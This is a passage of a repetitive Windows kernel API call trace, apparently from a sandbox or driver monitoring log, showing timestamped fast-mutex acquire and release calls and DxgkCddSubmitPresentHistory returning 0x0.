ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.525] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.525] DxgkCddSubmitPresentHistory () returned 0x0 [0094.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.540] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.540] DxgkCddSubmitPresentHistory () returned 0x0 [0094.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.571] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.571] DxgkCddSubmitPresentHistory () returned 0x0 [0094.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.587] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.587] DxgkCddSubmitPresentHistory () returned 0x0 [0094.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.602] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.603] DxgkCddSubmitPresentHistory () returned 0x0 [0094.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.638] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.638] DxgkCddSubmitPresentHistory () returned 0x0 [0094.728] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.728] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.728] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.728] DxgkCddSubmitPresentHistory () returned 0x0 [0094.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.868] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.868] DxgkCddSubmitPresentHistory () returned 0x0 [0094.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.900] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.900] DxgkCddSubmitPresentHistory () returned 0x0 [0094.932] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.932] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.932] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.932] DxgkCddSubmitPresentHistory () returned 0x0 [0094.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.963] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.963] DxgkCddSubmitPresentHistory () returned 0x0 [0094.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.994] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.994] DxgkCddSubmitPresentHistory () returned 0x0 [0095.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.025] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0095.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.025] DxgkCddSubmitPresentHistory () returned 0x0 [0095.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.056] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0095.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.056] DxgkCddSubmitPresentHistory () returned 0x0 [0095.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.118] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0095.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.118] DxgkCddSubmitPresentHistory () returned 0x0 [0095.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.150] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0095.150] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.150] DxgkCddSubmitPresentHistory () returned 0x0 [0095.213] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.213] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0095.213] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.213] DxgkCddSubmitPresentHistory () returned 0x0 [0096.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.579] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.579] DxgkCddSubmitPresentHistory () returned 0x0 [0096.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.609] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.609] DxgkCddSubmitPresentHistory () returned 0x0 [0096.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.738] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.738] DxgkCddSubmitPresentHistory () returned 0x0 [0096.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.790] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.790] DxgkCddSubmitPresentHistory () returned 0x0 [0096.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.816] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.816] DxgkCddSubmitPresentHistory () returned 0x0 [0096.842] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.842] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.842] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.842] DxgkCddSubmitPresentHistory () returned 0x0 [0096.881] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.881] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.881] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.881] DxgkCddSubmitPresentHistory () returned 0x0 [0096.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.921] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0096.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.921] DxgkCddSubmitPresentHistory () returned 0x0 [0097.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.130] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0097.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.130] DxgkCddSubmitPresentHistory () returned 0x0 [0097.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.146] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0097.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.146] DxgkCddSubmitPresentHistory () returned 0x0 [0097.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.265] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0097.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0097.265] DxgkCddSubmitPresentHistory () returned 0x0 [0097.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0097.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.489] DxgkCddSubmitPresentHistory () returned 0x0 [0097.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.677] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0097.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0097.677] DxgkCddSubmitPresentHistory () returned 0x0 [0097.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.974] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0097.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.974] DxgkCddSubmitPresentHistory () returned 0x0 [0098.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.014] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.014] DxgkCddSubmitPresentHistory () returned 0x0 [0098.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.071] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.071] DxgkCddSubmitPresentHistory () returned 0x0 [0098.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.114] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.114] DxgkCddSubmitPresentHistory () returned 0x0 [0098.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.333] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.333] DxgkCddSubmitPresentHistory () returned 0x0 [0098.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.364] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.364] DxgkCddSubmitPresentHistory () returned 0x0 [0098.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.411] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.411] DxgkCddSubmitPresentHistory () returned 0x0 [0098.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.449] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.449] DxgkCddSubmitPresentHistory () returned 0x0 [0098.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.489] DxgkCddSubmitPresentHistory () returned 0x0 [0098.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.521] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.521] DxgkCddSubmitPresentHistory () returned 0x0 [0098.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.553] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.553] DxgkCddSubmitPresentHistory () returned 0x0 [0098.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.584] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.584] DxgkCddSubmitPresentHistory () returned 0x0 [0098.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.630] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.630] DxgkCddSubmitPresentHistory () returned 0x0 [0098.668] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.668] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.668] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.668] DxgkCddSubmitPresentHistory () returned 0x0 [0098.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.743] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.743] DxgkCddSubmitPresentHistory () returned 0x0 [0098.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.771] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.771] DxgkCddSubmitPresentHistory () returned 0x0 [0098.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.786] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.787] DxgkCddSubmitPresentHistory () returned 0x0 [0098.802] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.802] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.802] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.802] DxgkCddSubmitPresentHistory () returned 0x0 [0098.833] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.833] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.833] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.833] DxgkCddSubmitPresentHistory () returned 0x0 [0098.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.865] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.865] DxgkCddSubmitPresentHistory () returned 0x0 [0098.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.896] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.896] DxgkCddSubmitPresentHistory () returned 0x0 [0098.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.927] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.927] DxgkCddSubmitPresentHistory () returned 0x0 [0098.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.942] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.942] DxgkCddSubmitPresentHistory () returned 0x0 [0098.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.958] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.958] DxgkCddSubmitPresentHistory () returned 0x0 [0098.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.989] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0098.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.989] DxgkCddSubmitPresentHistory () returned 0x0 [0099.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.065] DxgkCddSubmitPresentHistory () returned 0x0 [0099.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.099] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.099] DxgkCddSubmitPresentHistory () returned 0x0 [0099.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.224] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.224] DxgkCddSubmitPresentHistory () returned 0x0 [0099.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.318] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.318] DxgkCddSubmitPresentHistory () returned 0x0 [0099.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.490] DxgkCddSubmitPresentHistory () returned 0x0 [0099.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.521] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.521] DxgkCddSubmitPresentHistory () returned 0x0 [0099.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.568] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.568] DxgkCddSubmitPresentHistory () returned 0x0 [0099.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.599] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.599] DxgkCddSubmitPresentHistory () returned 0x0 [0099.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.747] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.747] DxgkCddSubmitPresentHistory () returned 0x0 [0099.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.771] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.771] DxgkCddSubmitPresentHistory () returned 0x0 [0099.811] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.811] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0099.811] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.811] DxgkCddSubmitPresentHistory () returned 0x0 [0099.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.915] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0099.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0099.915] DxgkCddSubmitPresentHistory () returned 0x0 [0103.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.084] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0103.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.084] DxgkCddSubmitPresentHistory () returned 0x0 [0103.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.319] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0103.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0103.319] DxgkCddSubmitPresentHistory () returned 0x0 [0103.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.350] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.350] DxgkCddSubmitPresentHistory () returned 0x0 [0103.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.475] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.475] DxgkCddSubmitPresentHistory () returned 0x0 [0103.492] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.492] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.492] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.492] DxgkCddSubmitPresentHistory () returned 0x0 [0103.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.522] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.522] DxgkCddSubmitPresentHistory () returned 0x0 [0103.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.562] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.562] DxgkCddSubmitPresentHistory () returned 0x0 [0103.585] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.585] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.585] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.585] DxgkCddSubmitPresentHistory () returned 0x0 [0103.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.615] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.616] DxgkCddSubmitPresentHistory () returned 0x0 [0103.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.631] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.632] DxgkCddSubmitPresentHistory () returned 0x0 [0103.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.662] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.662] DxgkCddSubmitPresentHistory () returned 0x0 [0103.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.678] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.678] DxgkCddSubmitPresentHistory () returned 0x0 [0103.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.693] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 